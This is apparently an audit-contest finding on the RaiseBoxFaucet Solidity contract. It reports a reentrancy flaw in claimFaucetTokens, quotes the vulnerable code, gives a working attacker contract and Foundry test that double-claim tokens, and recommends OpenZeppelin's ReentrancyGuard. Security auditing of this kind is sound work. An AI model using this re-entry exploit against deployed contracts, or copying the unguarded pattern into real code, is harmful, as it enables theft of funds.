Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

First time claimer can claim more than 1000 faucet tokens by reentrancy `RaiseBoxFaucet::claimFaucetTokens`

Root + Impact

Description

  • The normal behavior of claimFaucetTokens should allow a user to claim 1000 faucet tokens at a time.

  • The specific issue is that the function actually did not follow the Check-Effect-Interaction pattern when transferring Sepolia ETH to user. Also the function still transfer faucetDrop tokens to claimer even when reentrancy attack

// Root cause in the codebase with @> marks to highlight the relevant section
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
// @audit no reentrancy guard
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}
/**
*
* @param lastFaucetDripDay tracks the last day a claim was made
* @notice resets the @param dailyClaimCount every 24 hours
*/
if (block.timestamp > lastFaucetDripDay + 1 days) {
lastFaucetDripDay = block.timestamp;
dailyClaimCount = 0;
}
// Effects
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
// Interactions
// @audit still transfer faucetDrop tokens to claimer even when reentrancy attack
_transfer(address(this), faucetClaimer, faucetDrip);

Risk

Likelihood: High

  • Any first time claimer can claim more than 1000 faucet tokens instead of 1000

Impact:

  • The faucet protocol not working as expected

Proof of Concept

  • Reentrancy Attack contract

// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.30;
import {RaiseBoxFaucet} from "./RaiseBoxFaucet.sol";
import {console} from "../lib/lib/forge-std/src/Test.sol";
contract ReentrancyAttack {
address public raiseBoxFaucet;
constructor(address _raiseBoxFaucet) {
raiseBoxFaucet = _raiseBoxFaucet;
}
function attack() external {
RaiseBoxFaucet(payable(raiseBoxFaucet)).claimFaucetTokens();
}
receive() external payable {
RaiseBoxFaucet(payable(raiseBoxFaucet)).claimFaucetTokens();
}
}
  • Add this test case to RaiseBoxFaucet.t.sol

import {ReentrancyAttack} from "../src/ReentrancyAttack.sol";
function setUp() public {
owner = address(this);
raiseBoxFaucet = new RaiseBoxFaucet(
"raiseboxtoken",
"RB",
1000 * 10 ** 18,
0.005 ether,
0.5 ether
);
raiseBoxFaucetContractAddress = address(raiseBoxFaucet);
raiseBoxDeployer = new DeployRaiseboxContract();
vm.deal(raiseBoxFaucetContractAddress, 1 ether);
vm.deal(owner, 100 ether);
advanceBlockTime(3 days); // 3 days
vm.prank(attacker);
reentrancyAttack = new ReentrancyAttack(address(raiseBoxFaucet));
}
function testReentrancyAttack() public {
vm.startPrank(attacker);
reentrancyAttack.attack();
assertEq(raiseBoxFaucet.balanceOf(address(reentrancyAttack)), 2000 ether);
vm.stopPrank();
}

Recommended Mitigation

Utilize openzeppelin reentrancy guard

+ import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in `claimFaucetTokens`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.